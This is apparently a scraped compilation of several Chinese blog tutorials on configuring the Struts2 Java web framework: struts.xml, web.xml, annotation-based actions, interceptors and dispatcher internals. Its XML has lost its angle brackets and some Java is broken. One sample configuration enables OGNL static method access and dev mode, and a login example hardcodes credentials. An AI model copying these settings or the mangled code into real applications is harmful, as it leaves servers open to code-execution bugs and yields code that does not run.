value=”false”/ !– 设置是否缓存静态内容。默认值为true(生产环境下使用),开发阶段最好关闭  — constant name=”struts.serve.static.browserCache” value=”false” / !– 指定由spring负责action对象的创建 constant name=”struts.objectFactory” value=”spring” / — !– 是否开启动态方法调用– constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ /struts action类的注解: package com.tjcyjd.web.action; import org.apache.struts2.convention.annotation.Action; import org.apache.struts2.convention.annotation.ExceptionMapping; import org.apache.struts2.convention.annotation.ExceptionMappings; import org.apache.struts2.convention.annotation.Namespace; import org.apache.struts2.convention.annotation.ParentPackage; import org.apache.struts2.convention.annotation.Result; import org.apache.struts2.convention.annotation.Results; import com.opensymphony.xwork2.ActionSupport; /** * Struts2基于注解的Action配置 * */ @ParentPackage(“struts-default”) @Namespace(“/annotation_test”) @Results( { @Result(name = “success”, location = “/main.”), @Result(name = “error”, location = “/error.jsp”) }) @ExceptionMappings( { @ExceptionMapping(exception = “java.lange.RuntimeException”, result = “error”) }) public class LoginAction extends ActionSupport { private static final long serialVersionUID = 2730268055700929183L; private String loginName; private String password; @Action(“login”) //或者写成  @Action(value = “login”) public String login() throws Exception { if (“yjd”.equals(loginName) “yjd”.equals(password)) { return SUCCESS; } else { return ERROR; } } @Action(value = “add”, results = { @Result(name = “success”, location = “/index.jsp”) }) public String add() throws Exception { return SUCCESS; } public String getLoginName() { return loginName; } public void setLoginName(String loginName) { this.loginName = loginName; } public String getPassword() { return password; } public void setPassword(String password) { this.password= password; } } 这样就完成了一个基于注解的action配置。 总结常用的注解如下: Namespace:指定命名空间。 ParentPackage:指定父包。 Result:提供了Action结果的映射。(一个结果的映射) Results:“Result”注解列表 ResultPath:指定结果页面的基路径。 Action:指定Action的访问URL。 Actions:“Action”注解列表。 ExceptionMapping:指定异常映射。(映射一个声明异常) ExceptionMappings:一级声明异常的数组。 InterceptorRef:拦截器引用。 InterceptorRefs:拦截器引用组。

Struts 2开发基本流程

Struts 2工作流程 Struts2是一个基于MVC设计模式的Web开发框架, 正如官网上介绍的那样: ApacheStruts 2 is an elegant, extensible framework for creating enterprise-ready Javaweb applications. The framework is designed to streamline the full developmentcycle, from building, to deploying, to maintaining applications over time. Struts2是由Struts和Webwork这两个优秀的框架演化而来,它的出现解决了表现层和业务逻辑层紧耦合的问题。 为了支持Struts 2,通常我们需要添加以下类库: commons-fileupload.jar  文件上传 commons-io.jar  I/O类库 commons-lang-2.4.jar  Java.lang包 commons-lang3-3.1.jar   Java lang包扩展 commons-logging.jar  日志 freemarker-2.3.19.jar  表现层框架 javassist-3.9.0.GA.jar  代码生成工具Hibernate用它在运行时扩展java类和实现,同cglib包 ognl-3.0.6.jar  对象图导航语言 struts2-core-2.3.14.2.jar  Struts2核心组件 struts2-json-plugin-2.3.14.2.jar  Struts2对Json数据 式支持(非必须) xwork-core-2.3.14.2.jar  webwork核心类库 接下来编辑Web应用中的web.xml,配置Struts2的核心类库,下面是配置文件的代码片段,在web.xml文件中,定义了框架的拦截器FilterDispatcher,Servlet初始化Struts框架并且处理所有请求。“/*”表示对于所有的请求都允许。 ?xml version= 1.0 encoding= UTF-8 ? web-app version= 2.5 xmlns= http://java.sun.com/xml/ns/javaee xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance xsi:schemaLocation= http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd filter !– 定义Struts2的核心Filter — filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class init-param param-name actionPackages /param-name param-value com.mycompany.myapp.actions /param-value /init-param /filter !– 让struts2的核心Filter拦截所有的请求 — filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping !– web应用的默认首页 — welcome-file-list welcome-file index.jsp /welcome-file /welcome-file-list /web-app Jsp页面(welcome.jsp和error.jsp省略):login.jsp %@ page language= java import= java.util.* pageEncoding= utf-8 % %@taglib prefix= s uri= /struts-tags % body s:form action= login.action s:textfield name= username key= user /s:textfield s:textfield name= password key= pass /s:textfield s:submit key= login /s:submit /s:form /body Action类: import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; public class Demo extends ActionSupport { private String username; private String password; public String getUsername() { return username; public void setUsername(String username) { this.username = username; public String getPassword() { return password; public void setPassword(String password) { this.password = password; public String execute() throws Exception { if (getUsername().equals( Beta )) { ActionContext.getContext().getSession().put( user , getUsername()); System.out.print(getUsername()); return SUCCESS; } else { return ERROR; 接下来需要配置stuts.xml文件,该文件的最大作用就是配置Action和请求之间的对应关系,并配置逻辑视图名和物理视图资源之间的关系。 ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd struts !– 指定全局国际化资源文件 — constant name= struts.custom.i18n.resources value= mess / !– 指定国际化编码字符集 — constant name= struts.i18n.encoding value= UTF-8 / package name= no-default extends= struts-default action name= login > !—定义了三个逻辑视图和物理视图之间的映射 — result name= input /login.jsp /result result name= error /error.jsp /result result name= success /welcome.jsp /result /action /package 它的整个业务流程如下图所描述的: 1. 在web.xml中定义核心的Filter来拦截用户的请求; 2. 在struts.xml中查找匹配的Action实例,并调用该Action的业务逻辑方法,上图中如果用户请求url为login.action,则使用ntci.cloud.openstack.action.Demo来处理; 3. 当Action处理用户请求完毕后,通常会返回一个处理结果,通常我们称之为逻辑视图名,这个逻辑视图和物理视图进行关系映射; 4. Action将数据传给视图资源。 Struts 2常量配置 Struts2中有一些常量配置: struts.i18n.encoding:指定web应用的指定编码集。该常量的默认配置是UTF-8,对于获取中文请求参数,应该将常量设置为GBK或者GBK2312 struts.devMode:该常量设置Struts2应用是否使用开发模式 Struts 2默认会加载类加载路径下的struts.xml、struts-default.xml、struts-plugin.xml三类文件,其中struts.xml是开发者定义的默认配置文件,struts-default.xml是struts 2框架自带的配置文件,而struts-plugin.xml则是Struts  2插件的默认配置文件。除了以上三个文件,我们也可以在struts.properties、web.xml文件中配置struts常量。在struts.xml文件中,在根目录下添加: constantname= struts.i18n.encoding value= UTF-8 / 在web.xml文件filter目录下,添加 init-param param-name struts.i18n.encoding /param-name param-value UTF-8 /param-value /init-param 为了避免struts.xml过于庞大,我们可以将一个struts.xml配置文件分解为多个配置文件,然后在struts.xml文件中包含这些文件。 ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd struts !—通过include元素导入其它配置文件– include file=”struts-part1.xml”/ /struts Action类 Action类中的属性,不仅可以用于封装请求参数,也可以封装处理结果,Action类并不会对此进行区分。如果请求参数中包含了username属性,则系统会调用Action类中username的setter方法,通过这种方法,username参数就可以传给Action实例。 Struts 2提供了一个Action接口,这个接口提供了Struts2的Action类应该事先的规范,下面是Action接口的代码: public interface Action{ public static final java.lang.String SUCCESS = success public static final java.lang.String NONE = none public static final java.lang.String ERROR = error public static final java.lang.String INPUT = input public static final java.lang.String LOGIN = login public abstract java.lang.String execute() throws Exception; Struts 2为Action接口提供了一个实现类ActionSupport,为了方便开发,该类里面提供了很多默认方法,包括数据校验的方法、国际化信息的方法等。

转载 Struts2的配置 struts.xml Action详解

在学习struts的时候,我们一定要掌握struts2的工作原理。只有当我们明确了在struts2框架的内部的实现过程,在配置整个struts 的框架时,可以很好的进行逻辑上的配置。接下来我就先简单的讲解下struts2的框架工作原理: 一、struts2的工作原理 1、客户端初始化一个指向Servlet容器(例如Tomcat)的请求; 2、这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助,例如:SiteMesh Plugin); 3、接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请求是否需要调用某个Action; 4、如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy; 5、ActionProxy通过ConfigurationManager询问框架的配置文件,找到需要调用的Action类; 6、ActionProxy创建一个ActionInvocation的实例。 7、ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用。 8、一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2框架中继承的标签。在这个过程中需要涉及到ActionMapper。 二、部署一个struts2项目的一般步骤 1)在Myeclipse中创建一个web项目,并将struts2需要的jar包导入进项目中,如下图 2)在项目中的web.xml中进行配置struts2的框架,在web.xml中需要包含在 filter /filter ,在该节点下可以包含 filter-name 和 filter-mapin ?xml version=”1.0″ encoding=”UTF-8″? web-app version=”3.0″ xmlns=”http://java.sun.com/xml/ns/javaee” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd” display-name /display-name welcome-file-list welcome-file index.jsp /welcome-file /welcome-file-list filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern *.action /url-pattern /filter-mapping filter-mapping filter-name struts2 /filter-name url-pattern *.jsp /url-pattern /filter-mapping /web-app 3)编写Action类 4)创建好了Action类中要对action进行配置struts.xml,注意该配置文件的位置要在src的根目录下 5)创建jsp的文件,进行 三、struts.xml的配置初探 先来看看struts的基本配置的大概情况 ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN” “http://struts.apache.org/dtds/struts-2.1.7.dtd” struts package name=”user” namespace=”/” extends=”struts-default” action name=”*user”   method=”{1}” result name=”success” /success.jsp /result result name=”input” /{1}.jsp /result /action /package /struts 从上面的代码中可以看出,xml中包含的再根节点下 struts /struts 下。在实际项目中的编写时,头部信息需要更改,那么我们给以在导入的jar中的jar包中进行获取 在struts-core-2.2.1.1.jar包下的struts2.0.dtd中进行获取。 四、struts.xml中的package的配置 看着前面的代码可以很清晰的看到package的属性 属性有: 1.  name:逻辑上的包名 2.  namespace:命名空间,用来区分同意struts下的相同action(注意是一种逻辑上的的路径) 3.  extends: 继承某个配置文件 4.  abstract 具体使用过程中要注意,有与命名空间的命名,我们要在相应的过程中加上对应的命名空间的路径,例如: s:form action=”db/login.action” method=”post” 此代码说明的就是将会去调用db命名空间下的login对应的action 还需要注意的是: result 标签的下的是物理路径(绝对路径),即指在项目中的实际位置,代码如下 result name=”success” /login/error.jsp /result 五、struts.xml中的action的配置 六、struts.xml中的result的配置 对于action的配置我这里面只是简单的概括,具体很多细节性的东西我将专门写一篇博客,主要讲解的动态的对action进行配置 属性有: 1. name:Action类的映射名称 2. class:Action类的完整路径 3. method:默认使用的execute()方法,如果要自定义触发方法,需要使用method自定义 七、struts.xml配置过程中的注意信息 在实际开发的项目中,我们可能需要配置很多的action,有时候为了便于我们的分类,我们一般需要创建不同包下的struts-user.xml文件,不过最终我们的这些配置都是要导入进我们的struts.xml文件中。使用的标签和jsp编程中 include struts.xml ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN” “http://struts.apache.org/dtds/struts-2.1.7.dtd” struts include file=”struts-user.xml” /include /struts struts-user.xml ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN” “http://struts.apache.org/dtds/struts-2.1.7.dtd” struts constant name=”struts.ui.theme” value=”simple” /constant package name=”user” namespace=”/ss” extends=”struts-default” action name=”login”  method=”execude2″ !–result下的路径是物理路径 — result name=”success” /login/success.jsp /result result name=”error” /login/error.jsp /result /action /package !– 包名不能相同 — package name=”user123″ namespace=”/db” extends=”struts-default” action name=”login”  method=”execude2″ !–result下的路径是物理路径 — result name=”success” /login/error.jsp /result result name=”error” /login/success.jsp /result /action /package /struts         一、Action的创建方法 1)实现Action接口 2)继承ActionSupport类,覆写其中的方法 3)不继承任何类都可以实现,关键是在struts.xml中进行配置 二、Action动态方法的调用 在实际的项目中,一个action类的中,可能存在多个方法,而不同的方法执行的效果是不一样的,如果按照了一般性的配置,将无形的增加了程序员的负担 第一种方法:  在struts.xml中的action属性标签中用method属性指定方法名(不怎么推荐使用) 第二种方法: jsp页面中指定你要调用的那个方法 form action= login!myfun.action ,method= post 在客户端请求中进行动态的配置:映射名!方法名.action 这样可以动态的调用action中的myfun方法,就不要在action标签中进行method的配置 第三种方法:使用通配符进行配置(推荐使用:适用情况当一个类中存在较多的响应方法) 在配置 action 时,可以在 name,class,method 中使用通配符,这是 另外一种形式的动态方法调用 action name=”*user”   method=”{1}” //这种通配是针对的是同一个action中,响应不同的方法 在jsp页面中调用的时候 form action=”loginuser.action” method=”post” !– 需要注意的是要保证表单中的name的命名要和Action中属性的命名保持一致 — 用户名: input type=”text” name=”username” id=”username” br 密 码: input type=”password” name=”password” id=”password” input type=”submit” value=”提交” /form

1-1 struts2 基本配置 struts.xml配置文件详解

详见http://www.cnblogs.com/dooor/p/5323716.html 一. struts2工作原理(网友总结,千遍一律) 1 客户端初始化一个指向Servlet容器(例如Tomcat)的请求 2 这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助,例如:SiteMesh Plugin) 3 接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action 4 如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy 5 ActionProxy通过Configuration Manager询问框架的配置文件,找到需要调用的Action类 6 ActionProxy创建一个ActionInvocation的实例。 7 ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用。 8 一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可 能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper 在上述过程中所有的对象(Action,Results,Interceptors,等)都是通过ObjectFactory来创建的。 二.struts2基本配置 struts !– 开发模式下使用,打印更多详细错误信息 — constant name=”struts.devMode” value=”true” / !– 国际化 — constant name=”struts.i18n.encoding” value=”UTF-8″/ !– 允许ognl访问静态方法 — constant name=”struts.ognl.allowStaticMethodAccess” value=”true” / !– 该属性指定需要struts2处理的请求后缀,默认值是action,即,所有匹配*.action的请求 都由struts2处理,如果用户需要指定多个请求后缀,则多个后缀之间以英文逗号”,”隔开 — constant name=”struts.action.extension” value=”action”/ !– 设置浏览器是否缓存静态内容,默认值为true(生产环境下使用),开发阶段最好关闭 — constant name=”struts.serve.static.browserCache” value=”false”/ !– 当struts的配置文件修改后,系统是否自动重新加载该文件,默认值false:不重新加载 — constant name=”struts.configuration.xml.reload” value=”true”/ !– 默认的视图主题 — constant name=”struts.ui.theme” value=”simple”/ !– 与spring集成时,指定由spring负责管理action对象的创建 — constant name=”struts.objectFactory” value=”spring”/ !– 该属性设置struts2是否支持动态方法调用,默认值true:支持 — constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ !– 上传文件的大小限制 — constant name=”struts.multipart.maxSize” value=”10701096″/ !– 引入文件 — include file=”cn/qjc/action/login/login.xml” /include include file=”cn/qjc/action/demo/demo01.xml” /include include file=”cn/qjc/interceptor/interceptor.xml” /include /struts struts2配置文件加载顺序 a、default.properties:struts2-core**.jar org.apache.struts包中(程序员只能看) b、struts-default.xml:struts2-core**.jar中(程序员只能看) c、struts-plugin.xml:在插件的jar包中(程序员只能看) d、struts.xml:在应用的构建路径顶端。自己定义的Struts配置文件(推荐) e、struts.properties:在应用的构建路径顶端。程序员可以编写(不推荐) f、web.xml:配置过滤器时,指定参数。程序员可以编写(不推荐) 特别注意:顺序是固定的。后面的配置会覆盖前面的同名配置信息。 加载struts.xml过程 说明: 1、  在启动的时候加载了三个配置文件  struts-default.xml、struts-plugin.xml、struts.xml 2、  如果这三个文件有相同的项,后面覆盖前面的。 3、  struts.xml文件必须放在src下才能找到。 2.2  package元素 意义:分模块开发 属性: name:必须的。配置文件中要唯一。就是一个名字。 extends:指定父包。会把父包中的配置内容继承下来。一般需要直接或间接的继承一个叫做“struts-default”的包(在struts-default.xml配置文件中)。  如果不继承该包,那么Struts2中的核心功能将无法使用。 abstract:是否是抽象包。没有任何action子元素的package可以声明为抽象包。 namespace:指定名称空间。一般以”/”开头。该包中的动作访问路径:namesapce+动作名称。如果namespace=””,这是默认名称空间,和不写该属性是一样的。 2.3  action配置 作用:定义一个动作。 属性: name:必须的。动作名称。用户用于发起请求。在包中要唯一。 class:指定动作类的全名。框架会通过反射机制实例化。默认是:com.opensymphony.xwork2.ActionSupport。 method:指定动作类中的动作方法。框架会执行该方法。默认是execute()。 !– 配置全局视图:访问动作时没有局部视图,则找全局视图 — package name=”default” extends=”struts-default” abstract=”true” global-results result name=”success” /WEB-INF/login/success.jsp /result /global-results /package package name=”login” namespace=”/user” extends=”default” action name=”login” method=”login” !– type默认dispatcher 表示请求转发 — result name=”success” type=”dispatcher” /WEB-INF/login/success.jsp /result result name=”error” /WEB-INF/login/error.jsp /result /action /package

Struts2概述

1、Struts2 是应用在 Java EE 三层架构中的 Web 层的框架 2、Struts2 是在 Struts1 和 WebWork 基础之上发展的全新框架 3、Struts2 解决的问题 在传统模式的开发中,不同的请求对应着不同的 Servlet,如果功 能很多,就需要创建很多 Servlet,导致维护特别不方便 Struts2 的解决方案:使用过滤器,创建 Action,不同的请求对应 着类中不同的方法 另: Web 阶段的解决方案:创建 BaseServlet,需要写底层反射代码 进行实现 4、Struts2 下载链接: (1) (2) (3) 5、Web 层常见框架 (1)Struts2 (2)SpringMVC 【made by siwuxie095】

Struts2入门(一)

一.Struts2入门案例 ①引入jar包 ②在src下创建struts.xml配置文件 ?xml version= 1.0 encoding= UTF-8&q … Struts2入门3 深入学习 处理结果和异常 前言: Struts学习的差不多了,还有最后的一点就收官了就是结果处理和异常处理.前面学习Struts主要围绕就是Action以及struts.xml配 … Struts2入门2 Struts2深入 链接: http://pan.baidu.com/s/1rdCDh 密码: sm5h 前言: 前面学习那一节,搞得我是在是太痛苦了.因为在Web项目中确实不知 … Struts2入门1 Struts2基础知识 20131130 代码下载: 链接: http://pan.baidu.com/s/11mYG1 密码: aua5 前言: 之前学习了Spring和Hib … struts2入门程序 1.示例 搭建编程环境就先不说了,这里假设已经搭建好了编程环境,并且下好了strut2的jar包,接下来程序. 1.1 新建web项目 点击File- New- D … struts2框架 如果你之前在MVC模式的时候一直都是通过servlet,获取和返回数据,那么现在开始学习struts2框架, Struts是一个实现MVC设计模式的优秀的框架.它的许多优点我就不说 … 摘要 本文是struts2入门,配置教程.如何在IntelJ Idea中进行手动配置.在使用idea新建struts2web项目的时候,在下载jar包的过程中,下载失败,没办法就直接手动进行下载jar … 关于web模型: 早期的web 应用主要是静态页丽的浏览〈如新闻的制监),随着Internet的发展,web应用也变得越来越复杂,不仅要 和数据库进行交互 ,还要和用户进行交互,由此衍生了各种服务器端 … 1.新建Web项目在lib导入struts-2.3.37核心基础jar包 2.在WebRoot新建2个JSP demo1.jsp %@ page language= java&quo … 一.前言 1.1.国际化简介 国际化是指应用程序在运行的时候,根据客户端请求来自的国家地区.语言的不同而显示不同的界面(简单说就是根据你的地区显示相关地区的语言,如果你现在在英国,那么显示的语言就是英 …

Struts2(二):工作原理

struts可查看源码: 在学习struts2之前,我先看了一些比较早版本对struts2的工作原理相关的介绍,顺便抄写过来,用来帮助自己要弄清这个框架的工作原理。 struts2.1.3之前使用的FilterDispatcher,之后的版本使用StrutsPrepareAndExecuteFilter,而我这里还是以Dispatcher为例来记录的。 依据: Since Struts 2.1.3, use org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter instead or org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter and org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter if needing using the ActionContextCleanUp filter in addition to this one To use a custom Dispatcher, the createDispatcher() method could be overriden by the subclass.Version:$Date$ $Id$See Also:ActionMapperActionContextCleanUporg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilterorg.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter 下图描述了Struts2的工作原理: 一个请求在Struts2框架中的处理大致分为一下几个步骤: 1、客户端初始化一个纸箱Servlet容器(比如:Tomcat)的请求。 2、这个请求经过一系列的过滤器(Filter)。 备注:这些过滤器中有个叫做ActionContextCleanUp的可选过滤器,它对Struts2和其他框架的集成很有帮助。 3、接着FilterDispatcher被调用,FilterDispatcher询问ActoinMapper来决定这个请求是否需要调用某个Action。FilterDispatcher是控制器的核心,也是MVC的中C控制层的核心。请查看:《摘抄别人对FilterDispatcher工作流程和原理的分析:FilterDispatcher进行初始化并启用核心doFilter》。 4、如果ActionMapper决定要调用某个Action,FilterDispatcher把请求的处理交给ActoinProxy。 5、ActionProxy通过Configuration Manager询问框架配置文件,找到需要调用的Action类,一般是从structs.xml配置中读取。 6、ActionProxy创建一个ActionInvocation的实例。 7、ActoinInvocation实例使用命名模式来调用,在调用Action前后,设计到相关拦截器(Intercepter)的调用。 8、一旦Action执行完毕,ActionInvocation负责根据Struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可能是另外的一个Action链)一个需要被表示的Jsp或者FreeMarker的模板。在表示的过程中可以使用Struts2框架中继承的标签。在这个过程中需要设计到ActionMapper。 在以上过程中所有的对象(Action,Results,Interceptors等)都是通过ObjectFactory来创建的。 下面我们来看看ActionInvocation是如何工作的: ActionInvocation是Xworks 中Action 调度的核心。而对Interceptor 的调度,也正是由ActionInvocation负责。ActionInvocation 是一个接口,而DefaultActionInvocation 则是Webwork 对ActionInvocation的默认实现。 Interceptor的调度流程大致如下: 1.ActionInvocation初始化时,根据配置,加载Action相关的所有Interceptor。 2. 通过ActionInvocation.invoke方法调用Action实现时,执行Interceptor。 Interceptor将很多功能从我们的Action中独立出来,大量减少了我们Action的代码,独立出来的行为具有很好的重用性。XWork、WebWork的许多功能都是有Interceptor实现,可以在配置文件中组装Action用到的Interceptor,它会按照你指定的顺序,在Action执行前后运行。 这里,我们简单的介绍一下Interceptor 在struts2中自带了很多拦截器,在struts2-core-2.1.6.jar这个包下的struts-default.xml中我们可以发现: interceptors interceptor name=”alias” / interceptor name=”autowiring” / interceptor name=”chain” / interceptor name=”conversionError” / interceptor name=”clearSession” / interceptor name=”createSession” / interceptor name=”debugging” / interceptor name=”externalRef” / interceptor name=”execAndWait” / interceptor name=”exception” / interceptor name=”fileUpload” / interceptor name=”i18n” / interceptor name=”logger” / interceptor name=”modelDriven” / interceptor name=”scopedModelDriven” / interceptor name=”params” / interceptor name=”actionMappingParams” / interceptor name=”prepare” / interceptor name=”staticParams” / interceptor name=”scope” / interceptor name=”servletConfig” / interceptor name=”sessionAutowiring” / interceptor name=”timer” / interceptor name=”token” / interceptor name=”tokenSession” / interceptor name=”validation” / interceptor name=”workflow” / interceptor name=”store” / interceptor name=”checkbox” / interceptor name=”profiling” / interceptor name=”roles” / interceptor name=”jsonValidation” / interceptorname=”annotationWorkflow” / 对于sturts2自带的拦截器,使用起来就相对比较方便了,我们只需要在struts.xml的action标签中加入 interceptor-ref name=” logger ” / 并且struts.xml扩展struts-default,就可以使用, 如果是要自定义拦截器,首先需要写一个拦截器的类: package ceshi; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.AbstractInterceptor; publicclassAuthorizationInterceptor extends AbstractInterceptor { @Override public Stringintercept(ActionInvocation ai)throws Exception { System.out.println(“abc”); return ai.invoke(); } 并且在struts.xml中进行配置 !DOCTYPEstruts PUBLIC “-//Apache SoftwareFoundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts package name=”test”extends=”struts-default” interceptors interceptor name=”abc”class =”ceshi.AuthorizationInterceptor”/ /interceptors action name=”TestLogger” interceptor-refname=”abc”/ result name=”success” /success.jsp /result /action /package /struts 摘抄别人对FilterDispatcher工作流程和原理的分析:FilterDispatcher进行初始化并启用核心doFilter public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException …{ HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; ServletContext servletContext = filterConfig.getServletContext(); // 在这里处理了HttpServletRequest和HttpServletResponse。 DispatcherUtils du = DispatcherUtils.getInstance(); du.prepare(request, response);//正如这个方法名字一样进行locale、encoding以及特殊request parameters设置 try …{ request = du.wrapRequest(request, servletContext);//对request进行包装 } catch (IOException e) …{ String message = “Could not wrap servlet request with MultipartRequestWrapper!”; LOG.error(message, e); throw new ServletException(message, e); } ActionMapperIF mapper = ActionMapperFactory.getMapper();//得到action的mapper ActionMapping mapping = mapper.getMapping(request);// 得到action 的 mapping if (mapping == null) …{ // there is no action in this request, should we look for a static resource? String resourcePath = RequestUtils.getServletPath(request); if (“”.equals(resourcePath) null != request.getPathInfo()) …{ resourcePath = request.getPathInfo(); } if (“true”.equals(Configuration.get(WebWorkConstants.WEBWORK_SERVE_STATIC_CONTENT)) resourcePath.startsWith(“/webwork”)) …{ String name = resourcePath.substring(“/webwork”.length()); findStaticResource(name, response); } else …{ // this is a normal request, let it pass through chain.doFilter(request, response); } // WW did its job here return; } Object o = null; try …{ //setupContainer(request); o = beforeActionInvocation(request, servletContext); //整个框架最最核心的方法,下面分析 du.serviceAction(request, response, servletContext, mapping); } finally …{ afterActionInvocation(request, servletContext, o); ActionContext.setContext(null); } } du.serviceAction(request, response, servletContext, mapping); //这个方法询问ActionMapper是否需要调用某个Action来处理这个(request)请求,如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) …{ HashMap extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, getServletConfig()); //实例化Map请求 ,询问ActionMapper是否需要调用某个Action来处理这个(request)请求 extraContext.put(SERVLET_DISPATCHER, this); OgnlValueStack stack = (OgnlValueStack) request.getAttribute(ServletActionContext.WEBWORK_VALUESTACK_KEY); if (stack != null) …{ extraContext.put(ActionContext.VALUE_STACK,new OgnlValueStack(stack)); } try …{ ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext); //这里actionName是通过两道getActionName解析出来的, FilterDispatcher把请求的处理交给ActionProxy,下面是ServletDispatcher的 TODO: request.setAttribute(ServletActionContext.WEBWORK_VALUESTACK_KEY, proxy.getInvocation().getStack()); proxy.execute(); //通过代理模式执行ActionProxy if (stack != null)…{ request.setAttribute(ServletActionContext.WEBWORK_VALUESTACK_KEY,stack); } } catch (ConfigurationException e) …{ log.error(“Could not find action”, e); sendError(request, response, HttpServletResponse.SC_NOT_FOUND, e); } catch (Exception e) …{ log.error(“Could not execute action”, e); sendError(request, response, HttpServletResponse.SC_INTERNAL_SERVER_ERROR, e); } } FilterDispatcher作用 Master filter for Struts that handles four distinct responsibilities:  Executing actions Cleaning up the ActionContext (see note) Serving static content Kicking off XWork’s interceptor chain for the request lifecycle IMPORTANT: this filter must be mapped to all requests. Unless you know exactly what you are doing, always map to this URL pattern: /* Executing actions This filter executes actions by consulting the ActionMapper and determining if the requested URL should invoke an action. If the mapper indicates it should, the rest of the filter chain is stopped and the action is invoked. This is important, as it means that filters like the SiteMesh filter must be placed before this filter or they will not be able to decorate the output of actions. Cleaning up the ActionContext This filter will also automatically clean up the ActionContext for you, ensuring that no memory leaks take place. However, this can sometimes cause problems integrating with other products like SiteMesh. See ActionContextCleanUp for more information on how to deal with this. Serving static content This filter also serves common static content needed when using various parts of Struts, such as JavaScript files, CSS files, etc. It works by looking for requests to /struts/*, and then mapping the value after “/struts/” to common packages in Struts and, optionally, in your class path. By default, the following packages are automatically searched:  org.apache.struts2.static template This means that you can simply request /struts/xhtml/styles.css and the XHTML UI theme’s default stylesheet will be returned. Likewise, many of the AJAX UI components require various JavaScript files, which are found in the org.apache.struts2.static package. If you wish to add additional packages to be searched, you can add a comma separated (space, tab and new line will do as well) list in the filter init parameter named “packages”. Be careful, however, to expose any packages that may have sensitive information, such as properties file with database access credentials. This filter supports the following init-params:  config – a comma-delimited list of XML configuration files to load. actionPackages – a comma-delimited list of Java packages to scan for Actions. configProviders – a comma-delimited list of Java classes that implement the ConfigurationProvider interface that should be used for building the Configuration. loggerFactory – The class name of the LoggerFactory implementation. * – any other parameters are treated as framework constants. 参考:http://blog.csdn.net/laner0515/article/details/27692673/

Struts2常用标签

